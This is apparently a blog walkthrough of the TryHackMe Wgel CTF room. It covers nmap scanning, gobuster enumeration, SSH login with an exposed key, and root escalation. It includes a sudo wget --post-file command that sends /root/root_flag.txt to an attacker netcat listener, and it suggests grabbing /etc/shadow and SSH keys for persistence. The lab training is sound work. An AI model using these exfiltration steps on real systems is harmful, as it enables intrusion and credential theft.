Simple Boot to Root: Wgel CTF Walkthrough

This is a straightforward boot-to-root walkthrough of the Wgel CTF found on TryHackMe. The objective of this room is to perform active reconnaissance on a web server, obtain credentials, and log in using an exposed SSH key. The final step involves elevating to root by employing a privilege escalation technique with the wget binary.

Step 1: What's Out There?

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94:96:1b:66:80:1b:76:48:68:2d:14:b5:9a:01:aa:aa (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpgV7/18RfM9BJUBOcZI/eIARrxAgEeD062pw9L24Ulo5LbBeuFIv7hfRWE/kWUWdqHf082nfWKImTAHVMCeJudQbKtL1SBJYwdNo6QCQyHkHXslVb9CV1Ck3wgcje8zLbrml7OYpwBlumLVo2StfonQUKjfsKHhR+idd3/P5V3abActQLU8zB0a4m3TbsrZ9Hhs/QIjgsEdPsQEjCzvPHhTQCEywIpd/GGDXqfNPB0Yl/dQghTALyvf71EtmaX/fsPYTiCGDQAOYy3RvOitHQCf4XVvqEsgzLnUbqISGugF8ajO5iiY2GiZUUWVn4MVV1jVhfQ0kC3ybNrQvaVcXd
|   256 18:f7:10:cc:5f:40:f6:cf:92:f8:69:16:e2:48:f4:38 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDCxodQaK+2npyk3RZ1Z6S88i6lZp2kVWS6/f955mcgkYRrV1IMAVQ+jRd5sOKvoK8rflUPajKc9vY5Yhk2mPj8=
|   256 b9:0b:97:2e:45:9b:f3:2a:4b:11:c7:83:10:33:e0:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJhXt+ZEjzJRbb2rVnXOzdp5kDKb11LfddnkcyURkYke
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=7/9%OT=22%CT=1%CU=30945%PV=Y%DS=4%DC=T%G=Y%TM=64AB91B3
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=109%TI=Z%II=I%TS=A)SEQ(SP=10
OS:4%GCD=1%ISR=109%TI=Z%CI=RD%TS=A)SEQ(SP=107%GCD=1%ISR=109%TI=Z%TS=A)SEQ(S
OS:P=107%GCD=1%ISR=109%TI=Z%CI=I%TS=A)SEQ(SP=107%GCD=1%ISR=109%TI=Z%CI=RD%T
OS:S=A)OPS(O1=M509ST11NW7%O2=M509ST11NW7%O3=M509NNT11NW7%O4=M509ST11NW7%O5=
OS:M509ST11NW7%O6=M509ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=6
OS:8DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M509NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O
OS:=%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=O%A=Z%F=R%O=%RD=0%Q=)T5(R=N)T5(R=Y%DF=Y
OS:%T=40%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%
OS:RD=0%Q=)T6(R=N)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T6(R=Y%DF=Y%T
OS:=40%W=0%S=O%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=O%F=AR%O=%RD=0
OS:%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=1
OS:64%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 47.132 days (since Tue May 23 19:55:59 2023)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We are examining two ports: 22 and 80. Given that we can't do much with SSH unless we attempt to brute force it, and without a username, we would be relentlessly attacking this service, wasting time and probably making no progress. Therefore, the best approach is to enumerate the webserver to find a way in.

Default Apache2 Landing Page:

The source code reveals a potential username: Jessie

Step 2: Enumerate Using Gobuster

gobuster dir --url http://10.10.56.178/sitemap -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -t 100 -q

Let's navigate to http://10.10.56.178/sitemap/.ssh/

Excellent! An unsecured SSH key without a passphrase. We can easily generate our id_rsa key, set the permissions, and log in to the web server using this.

Step 3: Log in

Copy and paste the key into a text file and name it id_rsa. Adjust the permissions:

sudo chmod 600 id_rsa

ssh -i id_rsa jessie@10.10.56.178

Our first flag can be found at this location:

/home/jessie/Documents

Step 4: Privesc and Root

Now that we have a foothold on the server, let's explore what we can use to elevate our privileges. First, I like to check what the user is allowed to run as sudo. We can do this by typing:

sudo -l

Looks like we can use the binary:

/usr/bin/wget

Upon seeing something like this, your mind should instantly consider privilege escalation. GTFObins is a valuable resource for finding elevation techniques.

We can transmit content to our attack box with sudo privileges, effectively granting us access to view materials that would otherwise be restricted. We can easily use wget to display the root flag.

Start a netcat listener:

nc -lvnp 80

From the web server:

sudo /usr/bin/wget http://10.13.28.215:80 --post-file=/root/root_flag.txt

Boom, we've obtained the root flag. From here, we can use this binary to acquire other SSH keys, the /etc/shadow file, and more to help us maintain persistence.

Simple Boot to Root: Wgel CTF Walkthrough

Table of contents

Step 1: What's Out There?

Step 2: Enumerate Using Gobuster

Step 3: Log in

Step 4: Privesc and Root

Did you find this article valuable?